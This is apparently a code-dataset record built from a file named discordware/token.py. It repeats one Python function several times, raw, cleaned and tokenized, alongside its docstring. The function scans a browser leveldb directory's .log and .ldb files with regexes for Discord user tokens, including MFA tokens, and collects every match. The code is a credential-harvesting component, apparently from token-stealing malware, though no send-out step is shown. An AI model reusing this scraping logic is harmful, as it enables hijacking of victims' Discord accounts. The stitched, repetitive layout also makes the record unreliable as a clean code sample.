discordware/token.py
def __get_tokens(self):
        """
        Get the token from the given leveldb.
        """
        for filepath in pathlib.Path(self.path).glob("**/*"):
            # TODO: GET all files from the given directory
            file = str(filepath.absolute())
            filename = os.path.basename(file)

            if not filename.endswith(".log") and not filename.endswith(".ldb"):
                continue

            for line in [
                i.strip() for i in open(file, errors="ignore").readlines() if i.strip()
            ]:
                # TODO: Extract the file and get the token.
                for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
                    for token in re.findall(regex, line):
                        self.__tokens.append(token)

        Get the token from the given leveldb.
        
Get the token from the given leveldb.
Get the token from the given leveldb .
def __get_tokens(self):
        for filepath in pathlib.Path(self.path).glob("**/*"):
            file = str(filepath.absolute())
            filename = os.path.basename(file)
            if not filename.endswith(".log") and not filename.endswith(".ldb"):
                continue
            for line in [
                i.strip() for i in open(file, errors="ignore").readlines() if i.strip()
            ]:
                for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
                    for token in re.findall(regex, line):
                        self.__tokens.append(token)
def __get_tokens ( self ) : for filepath in pathlib . Path ( self . path ) . glob ( "**/*" ) : file = str ( filepath . absolute ( ) ) filename = os . path . basename ( file ) if not filename . endswith ( ".log" ) and not filename . endswith ( ".ldb" ) : continue for line in [ i . strip ( ) for i in open ( file , errors = "ignore" ) . readlines ( ) if i . strip ( ) ] : for regex in ( r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}" , r"mfa\.[\w-]{84}" ) : for token in re . findall ( regex , line ) : self . __tokens . append ( token )
Get the token from the given leveldb.
Get the token from the given leveldb .
"""
        Get the token from the given leveldb.
        """ # TODO: GET all files from the given directory # TODO: Extract the file and get the token.
self